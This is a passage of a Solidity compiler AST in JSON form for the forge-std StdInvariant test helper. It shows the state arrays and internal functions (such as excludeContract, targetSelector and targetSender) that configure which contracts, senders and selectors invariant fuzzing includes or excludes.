220:78:5","nodes":[],"canonicalName":"StdInvariant.FuzzInterface","members":[{"constant":false,"id":6407,"mutability":"mutable","name":"addr","nameLocation":"259:4:5","nodeType":"VariableDeclaration","scope":6411,"src":"251:12:5","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":6406,"name":"address","nodeType":"ElementaryTypeName","src":"251:7:5","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":6410,"mutability":"mutable","name":"artifacts","nameLocation":"282:9:5","nodeType":"VariableDeclaration","scope":6411,"src":"273:18:5","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_array$_t_string_storage_$dyn_storage_ptr","typeString":"string[]"},"typeName":{"baseType":{"id":6408,"name":"string","nodeType":"ElementaryTypeName","src":"273:6:5","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"id":6409,"nodeType":"ArrayTypeName","src":"273:8:5","typeDescriptions":{"typeIdentifier":"t_array$_t_string_storage_$dyn_storage_ptr","typeString":"string[]"}},"visibility":"internal"}],"name":"FuzzInterface","nameLocation":"227:13:5","scope":6655,"visibility":"public"},{"id":6414,"nodeType":"VariableDeclaration","src":"304:36:5","nodes":[],"constant":false,"mutability":"mutable","name":"_excludedContracts","nameLocation":"322:18:5","scope":6655,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_storage","typeString":"address[]"},"typeName":{"baseType":{"id":6412,"name":"address","nodeType":"ElementaryTypeName","src":"304:7:5","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":6413,"nodeType":"ArrayTypeName","src":"304:9:5","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_storage_ptr","typeString":"address[]"}},"visibility":"private"},{"id":6417,"nodeType":"VariableDeclaration","src":"346:34:5","nodes":[],"constant":false,"mutability":"mutable","name":"_excludedSenders","nameLocation":"364:16:5","scope":6655,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_storage","typeString":"address[]"},"typeName":{"baseType":{"id":6415,"name":"address","nodeType":"ElementaryTypeName","src":"346:7:5","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":6416,"nodeType":"ArrayTypeName","src":"346:9:5","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_storage_ptr","typeString":"address[]"}},"visibility":"private"},{"id":6420,"nodeType":"VariableDeclaration","src":"386:36:5","nodes":[],"constant":false,"mutability":"mutable","name":"_targetedContracts","nameLocation":"404:18:5","scope":6655,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_storage","typeString":"address[]"},"typeName":{"baseType":{"id":6418,"name":"address","nodeType":"ElementaryTypeName","src":"386:7:5","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":6419,"nodeType":"ArrayTypeName","src":"386:9:5","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_storage_ptr","typeString":"address[]"}},"visibility":"private"},{"id":6423,"nodeType":"VariableDeclaration","src":"428:34:5","nodes":[],"constant":false,"mutability":"mutable","name":"_targetedSenders","nameLocation":"446:16:5","scope":6655,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_storage","typeString":"address[]"},"typeName":{"baseType":{"id":6421,"name":"address","nodeType":"ElementaryTypeName","src":"428:7:5","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":6422,"nodeType":"ArrayTypeName","src":"428:9:5","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_storage_ptr","typeString":"address[]"}},"visibility":"private"},{"id":6426,"nodeType":"VariableDeclaration","src":"469:35:5","nodes":[],"constant":false,"mutability":"mutable","name":"_excludedArtifacts","nameLocation":"486:18:5","scope":6655,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_array$_t_string_storage_$dyn_storage","typeString":"string[]"},"typeName":{"baseType":{"id":6424,"name":"string","nodeType":"ElementaryTypeName","src":"469:6:5","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"id":6425,"nodeType":"ArrayTypeName","src":"469:8:5","typeDescriptions":{"typeIdentifier":"t_array$_t_string_storage_$dyn_storage_ptr","typeString":"string[]"}},"visibility":"private"},{"id":6429,"nodeType":"VariableDeclaration","src":"510:35:5","nodes":[],"constant":false,"mutability":"mutable","name":"_targetedArtifacts","nameLocation":"527:18:5","scope":6655,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_array$_t_string_storage_$dyn_storage","typeString":"string[]"},"typeName":{"baseType":{"id":6427,"name":"string","nodeType":"ElementaryTypeName","src":"510:6:5","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"id":6428,"nodeType":"ArrayTypeName","src":"510:8:5","typeDescriptions":{"typeIdentifier":"t_array$_t_string_storage_$dyn_storage_ptr","typeString":"string[]"}},"visibility":"private"},{"id":6433,"nodeType":"VariableDeclaration","src":"552:49:5","nodes":[],"constant":false,"mutability":"mutable","name":"_targetedArtifactSelectors","nameLocation":"575:26:5","scope":6655,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_FuzzSelector_$6405_storage_$dyn_storage","typeString":"struct StdInvariant.FuzzSelector[]"},"typeName":{"baseType":{"id":6431,"nodeType":"UserDefinedTypeName","pathNode":{"id":6430,"name":"FuzzSelector","nameLocations":["552:12:5"],"nodeType":"IdentifierPath","referencedDeclaration":6405,"src":"552:12:5"},"referencedDeclaration":6405,"src":"552:12:5","typeDescriptions":{"typeIdentifier":"t_struct$_FuzzSelector_$6405_storage_ptr","typeString":"struct StdInvariant.FuzzSelector"}},"id":6432,"nodeType":"ArrayTypeName","src":"552:14:5","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_FuzzSelector_$6405_storage_$dyn_storage_ptr","typeString":"struct StdInvariant.FuzzSelector[]"}},"visibility":"private"},{"id":6437,"nodeType":"VariableDeclaration","src":"607:41:5","nodes":[],"constant":false,"mutability":"mutable","name":"_targetedSelectors","nameLocation":"630:18:5","scope":6655,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_FuzzSelector_$6405_storage_$dyn_storage","typeString":"struct StdInvariant.FuzzSelector[]"},"typeName":{"baseType":{"id":6435,"nodeType":"UserDefinedTypeName","pathNode":{"id":6434,"name":"FuzzSelector","nameLocations":["607:12:5"],"nodeType":"IdentifierPath","referencedDeclaration":6405,"src":"607:12:5"},"referencedDeclaration":6405,"src":"607:12:5","typeDescriptions":{"typeIdentifier":"t_struct$_FuzzSelector_$6405_storage_ptr","typeString":"struct StdInvariant.FuzzSelector"}},"id":6436,"nodeType":"ArrayTypeName","src":"607:14:5","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_FuzzSelector_$6405_storage_$dyn_storage_ptr","typeString":"struct StdInvariant.FuzzSelector[]"}},"visibility":"private"},{"id":6441,"nodeType":"VariableDeclaration","src":"655:43:5","nodes":[],"constant":false,"mutability":"mutable","name":"_targetedInterfaces","nameLocation":"679:19:5","scope":6655,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_FuzzInterface_$6411_storage_$dyn_storage","typeString":"struct StdInvariant.FuzzInterface[]"},"typeName":{"baseType":{"id":6439,"nodeType":"UserDefinedTypeName","pathNode":{"id":6438,"name":"FuzzInterface","nameLocations":["655:13:5"],"nodeType":"IdentifierPath","referencedDeclaration":6411,"src":"655:13:5"},"referencedDeclaration":6411,"src":"655:13:5","typeDescriptions":{"typeIdentifier":"t_struct$_FuzzInterface_$6411_storage_ptr","typeString":"struct StdInvariant.FuzzInterface"}},"id":6440,"nodeType":"ArrayTypeName","src":"655:15:5","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_FuzzInterface_$6411_storage_$dyn_storage_ptr","typeString":"struct StdInvariant.FuzzInterface[]"}},"visibility":"private"},{"id":6453,"nodeType":"FunctionDefinition","src":"783:126:5","nodes":[],"body":{"id":6452,"nodeType":"Block","src":"847:62:5","nodes":[],"statements":[{"expression":{"arguments":[{"id":6449,"name":"newExcludedContract_","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6443,"src":"881:20:5","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":6446,"name":"_excludedContracts","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6414,"src":"857:18:5","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_storage","typeString":"address[] storage ref"}},"id":6448,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"876:4:5","memberName":"push","nodeType":"MemberAccess","src":"857:23:5","typeDescriptions":{"typeIdentifier":"t_function_arraypush_nonpayable$_t_array$_t_address_$dyn_storage_ptr_$_t_address_$returns$__$attached_to$_t_array$_t_address_$dyn_storage_ptr_$","typeString":"function (address[] storage pointer,address)"}},"id":6450,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"857:45:5","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":6451,"nodeType":"ExpressionStatement","src":"857:45:5"}]},"implemented":true,"kind":"function","modifiers":[],"name":"excludeContract","nameLocation":"792:15:5","parameters":{"id":6444,"nodeType":"ParameterList","parameters":[{"constant":false,"id":6443,"mutability":"mutable","name":"newExcludedContract_","nameLocation":"816:20:5","nodeType":"VariableDeclaration","scope":6453,"src":"808:28:5","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":6442,"name":"address","nodeType":"ElementaryTypeName","src":"808:7:5","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"807:30:5"},"returnParameters":{"id":6445,"nodeType":"ParameterList","parameters":[],"src":"847:0:5"},"scope":6655,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":6465,"nodeType":"FunctionDefinition","src":"915:118:5","nodes":[],"body":{"id":6464,"nodeType":"Block","src":"975:58:5","nodes":[],"statements":[{"expression":{"arguments":[{"id":6461,"name":"newExcludedSender_","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6455,"src":"1007:18:5","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":6458,"name":"_excludedSenders","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6417,"src":"985:16:5","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_storage","typeString":"address[] storage ref"}},"id":6460,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1002:4:5","memberName":"push","nodeType":"MemberAccess","src":"985:21:5","typeDescriptions":{"typeIdentifier":"t_function_arraypush_nonpayable$_t_array$_t_address_$dyn_storage_ptr_$_t_address_$returns$__$attached_to$_t_array$_t_address_$dyn_storage_ptr_$","typeString":"function (address[] storage pointer,address)"}},"id":6462,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"985:41:5","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":6463,"nodeType":"ExpressionStatement","src":"985:41:5"}]},"implemented":true,"kind":"function","modifiers":[],"name":"excludeSender","nameLocation":"924:13:5","parameters":{"id":6456,"nodeType":"ParameterList","parameters":[{"constant":false,"id":6455,"mutability":"mutable","name":"newExcludedSender_","nameLocation":"946:18:5","nodeType":"VariableDeclaration","scope":6465,"src":"938:26:5","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":6454,"name":"address","nodeType":"ElementaryTypeName","src":"938:7:5","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"937:28:5"},"returnParameters":{"id":6457,"nodeType":"ParameterList","parameters":[],"src":"975:0:5"},"scope":6655,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":6477,"nodeType":"FunctionDefinition","src":"1039:132:5","nodes":[],"body":{"id":6476,"nodeType":"Block","src":"1109:62:5","nodes":[],"statements":[{"expression":{"arguments":[{"id":6473,"name":"newExcludedArtifact_","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6467,"src":"1143:20:5","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":6470,"name":"_excludedArtifacts","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6426,"src":"1119:18:5","typeDescriptions":{"typeIdentifier":"t_array$_t_string_storage_$dyn_storage","typeString":"string storage ref[] storage ref"}},"id":6472,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1138:4:5","memberName":"push","nodeType":"MemberAccess","src":"1119:23:5","typeDescriptions":{"typeIdentifier":"t_function_arraypush_nonpayable$_t_array$_t_string_storage_$dyn_storage_ptr_$_t_string_storage_$returns$__$attached_to$_t_array$_t_string_storage_$dyn_storage_ptr_$","typeString":"function (string storage ref[] storage pointer,string storage ref)"}},"id":6474,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1119:45:5","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":6475,"nodeType":"ExpressionStatement","src":"1119:45:5"}]},"implemented":true,"kind":"function","modifiers":[],"name":"excludeArtifact","nameLocation":"1048:15:5","parameters":{"id":6468,"nodeType":"ParameterList","parameters":[{"constant":false,"id":6467,"mutability":"mutable","name":"newExcludedArtifact_","nameLocation":"1078:20:5","nodeType":"VariableDeclaration","scope":6477,"src":"1064:34:5","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":6466,"name":"string","nodeType":"ElementaryTypeName","src":"1064:6:5","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"1063:36:5"},"returnParameters":{"id":6469,"nodeType":"ParameterList","parameters":[],"src":"1109:0:5"},"scope":6655,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":6489,"nodeType":"FunctionDefinition","src":"1177:131:5","nodes":[],"body":{"id":6488,"nodeType":"Block","src":"1246:62:5","nodes":[],"statements":[{"expression":{"arguments":[{"id":6485,"name":"newTargetedArtifact_","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6479,"src":"1280:20:5","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":6482,"name":"_targetedArtifacts","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6429,"src":"1256:18:5","typeDescriptions":{"typeIdentifier":"t_array$_t_string_storage_$dyn_storage","typeString":"string storage ref[] storage ref"}},"id":6484,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1275:4:5","memberName":"push","nodeType":"MemberAccess","src":"1256:23:5","typeDescriptions":{"typeIdentifier":"t_function_arraypush_nonpayable$_t_array$_t_string_storage_$dyn_storage_ptr_$_t_string_storage_$returns$__$attached_to$_t_array$_t_string_storage_$dyn_storage_ptr_$","typeString":"function (string storage ref[] storage pointer,string storage ref)"}},"id":6486,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1256:45:5","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":6487,"nodeType":"ExpressionStatement","src":"1256:45:5"}]},"implemented":true,"kind":"function","modifiers":[],"name":"targetArtifact","nameLocation":"1186:14:5","parameters":{"id":6480,"nodeType":"ParameterList","parameters":[{"constant":false,"id":6479,"mutability":"mutable","name":"newTargetedArtifact_","nameLocation":"1215:20:5","nodeType":"VariableDeclaration","scope":6489,"src":"1201:34:5","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":6478,"name":"string","nodeType":"ElementaryTypeName","src":"1201:6:5","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"1200:36:5"},"returnParameters":{"id":6481,"nodeType":"ParameterList","parameters":[],"src":"1246:0:5"},"scope":6655,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":6502,"nodeType":"FunctionDefinition","src":"1314:169:5","nodes":[],"body":{"id":6501,"nodeType":"Block","src":"1405:78:5","nodes":[],"statements":[{"expression":{"arguments":[{"id":6498,"name":"newTargetedArtifactSelector_","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6492,"src":"1447:28:5","typeDescriptions":{"typeIdentifier":"t_struct$_FuzzSelector_$6405_memory_ptr","typeString":"struct StdInvariant.FuzzSelector memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_FuzzSelector_$6405_memory_ptr","typeString":"struct StdInvariant.FuzzSelector memory"}],"expression":{"id":6495,"name":"_targetedArtifactSelectors","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6433,"src":"1415:26:5","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_FuzzSelector_$6405_storage_$dyn_storage","typeString":"struct StdInvariant.FuzzSelector storage ref[] storage ref"}},"id":6497,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1442:4:5","memberName":"push","nodeType":"MemberAccess","src":"1415:31:5","typeDescriptions":{"typeIdentifier":"t_function_arraypush_nonpayable$_t_array$_t_struct$_FuzzSelector_$6405_storage_$dyn_storage_ptr_$_t_struct$_FuzzSelector_$6405_storage_$returns$__$attached_to$_t_array$_t_struct$_FuzzSelector_$6405_storage_$dyn_storage_ptr_$","typeString":"function (struct StdInvariant.FuzzSelector storage ref[] storage pointer,struct StdInvariant.FuzzSelector storage ref)"}},"id":6499,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1415:61:5","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":6500,"nodeType":"ExpressionStatement","src":"1415:61:5"}]},"implemented":true,"kind":"function","modifiers":[],"name":"targetArtifactSelector","nameLocation":"1323:22:5","parameters":{"id":6493,"nodeType":"ParameterList","parameters":[{"constant":false,"id":6492,"mutability":"mutable","name":"newTargetedArtifactSelector_","nameLocation":"1366:28:5","nodeType":"VariableDeclaration","scope":6502,"src":"1346:48:5","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_struct$_FuzzSelector_$6405_memory_ptr","typeString":"struct StdInvariant.FuzzSelector"},"typeName":{"id":6491,"nodeType":"UserDefinedTypeName","pathNode":{"id":6490,"name":"FuzzSelector","nameLocations":["1346:12:5"],"nodeType":"IdentifierPath","referencedDeclaration":6405,"src":"1346:12:5"},"referencedDeclaration":6405,"src":"1346:12:5","typeDescriptions":{"typeIdentifier":"t_struct$_FuzzSelector_$6405_storage_ptr","typeString":"struct StdInvariant.FuzzSelector"}},"visibility":"internal"}],"src":"1345:50:5"},"returnParameters":{"id":6494,"nodeType":"ParameterList","parameters":[],"src":"1405:0:5"},"scope":6655,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":6514,"nodeType":"FunctionDefinition","src":"1489:125:5","nodes":[],"body":{"id":6513,"nodeType":"Block","src":"1552:62:5","nodes":[],"statements":[{"expression":{"arguments":[{"id":6510,"name":"newTargetedContract_","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6504,"src":"1586:20:5","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":6507,"name":"_targetedContracts","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6420,"src":"1562:18:5","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_storage","typeString":"address[] storage ref"}},"id":6509,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1581:4:5","memberName":"push","nodeType":"MemberAccess","src":"1562:23:5","typeDescriptions":{"typeIdentifier":"t_function_arraypush_nonpayable$_t_array$_t_address_$dyn_storage_ptr_$_t_address_$returns$__$attached_to$_t_array$_t_address_$dyn_storage_ptr_$","typeString":"function (address[] storage pointer,address)"}},"id":6511,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1562:45:5","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":6512,"nodeType":"ExpressionStatement","src":"1562:45:5"}]},"implemented":true,"kind":"function","modifiers":[],"name":"targetContract","nameLocation":"1498:14:5","parameters":{"id":6505,"nodeType":"ParameterList","parameters":[{"constant":false,"id":6504,"mutability":"mutable","name":"newTargetedContract_","nameLocation":"1521:20:5","nodeType":"VariableDeclaration","scope":6514,"src":"1513:28:5","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":6503,"name":"address","nodeType":"ElementaryTypeName","src":"1513:7:5","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"1512:30:5"},"returnParameters":{"id":6506,"nodeType":"ParameterList","parameters":[],"src":"1552:0:5"},"scope":6655,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":6527,"nodeType":"FunctionDefinition","src":"1620:137:5","nodes":[],"body":{"id":6526,"nodeType":"Block","src":"1695:62:5","nodes":[],"statements":[{"expression":{"arguments":[{"id":6523,"name":"newTargetedSelector_","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6517,"src":"1729:20:5","typeDescriptions":{"typeIdentifier":"t_struct$_FuzzSelector_$6405_memory_ptr","typeString":"struct StdInvariant.FuzzSelector memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_FuzzSelector_$6405_memory_ptr","typeString":"struct StdInvariant.FuzzSelector memory"}],"expression":{"id":6520,"name":"_targetedSelectors","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6437,"src":"1705:18:5","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_FuzzSelector_$6405_storage_$dyn_storage","typeString":"struct StdInvariant.FuzzSelector storage ref[] storage ref"}},"id":6522,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1724:4:5","memberName":"push","nodeType":"MemberAccess","src":"1705:23:5","typeDescriptions":{"typeIdentifier":"t_function_arraypush_nonpayable$_t_array$_t_struct$_FuzzSelector_$6405_storage_$dyn_storage_ptr_$_t_struct$_FuzzSelector_$6405_storage_$returns$__$attached_to$_t_array$_t_struct$_FuzzSelector_$6405_storage_$dyn_storage_ptr_$","typeString":"function (struct StdInvariant.FuzzSelector storage ref[] storage pointer,struct StdInvariant.FuzzSelector storage ref)"}},"id":6524,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1705:45:5","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":6525,"nodeType":"ExpressionStatement","src":"1705:45:5"}]},"implemented":true,"kind":"function","modifiers":[],"name":"targetSelector","nameLocation":"1629:14:5","parameters":{"id":6518,"nodeType":"ParameterList","parameters":[{"constant":false,"id":6517,"mutability":"mutable","name":"newTargetedSelector_","nameLocation":"1664:20:5","nodeType":"VariableDeclaration","scope":6527,"src":"1644:40:5","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_struct$_FuzzSelector_$6405_memory_ptr","typeString":"struct StdInvariant.FuzzSelector"},"typeName":{"id":6516,"nodeType":"UserDefinedTypeName","pathNode":{"id":6515,"name":"FuzzSelector","nameLocations":["1644:12:5"],"nodeType":"IdentifierPath","referencedDeclaration":6405,"src":"1644:12:5"},"referencedDeclaration":6405,"src":"1644:12:5","typeDescriptions":{"typeIdentifier":"t_struct$_FuzzSelector_$6405_storage_ptr","typeString":"struct StdInvariant.FuzzSelector"}},"visibility":"internal"}],"src":"1643:42:5"},"returnParameters":{"id":6519,"nodeType":"ParameterList","parameters":[],"src":"1695:0:5"},"scope":6655,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":6539,"nodeType":"FunctionDefinition","src":"1763:117:5","nodes":[],"body":{"id":6538,"nodeType":"Block","src":"1822:58:5","nodes":[],"statements":[{"expression":{"arguments":[{"id":6535,"name":"newTargetedSender_","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6529,"src":"1854:18:5","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":6532,"name":"_targetedSenders","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6423,"src":"1832:16:5","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_storage","typeString":"address[] storage ref"}},"id":6534,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1849:4:5","memberName":"push","nodeType":"MemberAccess","src":"1832:21:5","typeDescriptions":{"typeIdentifier":"t_function_arraypush_nonpayable$_t_array$_t_address_$dyn_storage_ptr_$_t_address_$returns$__$attached_to$_t_array$_t_address_$dyn_storage_ptr_$","typeString":"function (address[] storage pointer,address)"}},"id":6536,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1832:41:5","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":6537,"nodeType":"ExpressionStatement","src":"1832:41:5"}]},"implemented":true,"kind":"function","modifiers":[],"name":"targetSender","nameLocation":"1772:12:5","parameters":{"id":6530,"nodeType":"ParameterList","parameters":[{"constant":false,"id":6529,"mutability":"mutable","name":"newTargetedSender_","nameLocation":"1793:18:5","nodeType":"VariableDeclaration","scope":6539,"src":"1785:26:5","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":6528,"name":"address","nodeType":"ElementaryTypeName","src":"1785:7:5","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"1784:28:5"},"returnParameters":{"id":6531,"nodeType":"ParameterList","parameters":[],"src":"1822:0:5"},"scope":6655,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":6552,"nodeType":"FunctionDefinition","src":"1886:142:5","nodes":[],"body":{"id":6551,"nodeType":"Block","src":"1964:64:5","nodes":[],"statements":[{"expression":{"arguments":[{"id":6548,"name":"newTargetedInterface_","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6542,"src":"1999:21:5","typeDescriptions":{"typeIdentifier":"t_struct$_FuzzInterface_$6411_memory_ptr","typeString":"struct StdInvariant.FuzzInterface memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_FuzzInterface_$6411_memory_ptr","typeString":"struct StdInvariant.FuzzInterface memory"}],"expression":{"id":6545,"name":"_targetedInterfaces","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6441,"src":"1974:19:5","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_FuzzInterface_$6411_storage_$dyn_storage","typeString":"struct StdInvariant.FuzzInterface storage ref[] storage ref"}},"id":6547,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1994:4:5","memberName":"push","nodeType":"MemberAccess","src":"1974:24:5","typeDescriptions":{"typeIdentifier":"t_function_arraypush_nonpayable$_t_array$_t_struct$_FuzzInterface_$6411_storage_$dyn_storage_ptr_$_t_struct$_FuzzInterface_$6411_storage_$returns$__$attached_to$_t_array$_t_struct$_FuzzInterface_$6411_storage_$dyn_storage_ptr_$","typeString":"function (struct StdInvariant.FuzzInterface storage ref[] storage pointer,struct StdInvariant.FuzzInterface storage 